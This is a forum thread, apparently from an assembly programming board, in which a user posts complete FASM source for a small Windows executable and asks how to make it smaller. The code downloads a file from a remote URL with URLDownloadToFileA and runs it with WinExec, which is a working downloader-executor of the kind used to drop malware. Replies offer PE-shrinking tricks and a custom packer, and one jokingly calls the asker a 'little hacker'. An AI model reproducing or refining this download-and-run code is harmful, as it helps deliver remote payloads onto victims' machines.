does anyone have tips or tricks to decrease the size of the end result of the .exe in windows

by that i DONT mean packers

Use Assembler instead of HLL

place uninitialized variables to the end of file (or any other place) where they will be only reserved so no data will be defined.
If you need array initialized with constant, it's sometimes smaller to reserve it and fill by code.

this is the code im trying to make smaller
1024bytes i think
any ideas for making this SMALLER thanks

format PE gui 4.0

include 'C:\fasm\include\win32a.inc'
; load library
push szurlmon
call [LoadLibrary]
mov ebx, eax
; load function
push szURLDownloadToFileA
push ebx
call [GetProcAddress]
mov ebx, eax
; call downloading
push 0
push 0
push szFilename
push szURL
push 0
call ebx
; exec file
push 0
push szFilename
call [WinExec]
; exit process
push 0
call [ExitProcess]

; needed stuff ..
szurlmon db 'urlmon.dll',0
szURLDownloadToFileA db 'URLDownloadToFileA',0
szURL db 'http://host.com/bla.exe', 0
szFilename db 'c:\bla.exe', 0

data import
library kernel32, 'KERNEL32.DLL'
include 'C:\fasm\include\APIA\KERNEL32.INC'
end data

You can't simply make PE file smaller than 1024 bytes. You can build such file manually. Search win32asmcommunity board, there was a topic about it.

what if i importer urtodownloadfilea

Some recomend removing the dos stub to save space. But you can create a dos stub containing some of the data for your program, for example some strings (there is not much room in the stub, without increasing the size).
But since you already have 1024 bytes, you have to reduce manually, as decard said.

you can use own dos-stub, also you can trim last section

i have no idea how to do this

it's possible with 16 bits NE executable. I send a exe file because a fasmw not support a dead formats.
See a sample:

you can`t make it smaller, even without dos-stub. first section have to start at 0x200, so even, if you`ll remove dos-stub, you`ll have to fill space after header (in fact in header) with padding.

you can change file align, and then you`ll be able to remove padding at the end of file. and that`s all. you can`t do more. use packers, if you want to get it smaller. i wrote one, extreemly good for this file (667 bytes packed), so put me message, and i can provide it to you, little hacker ; ))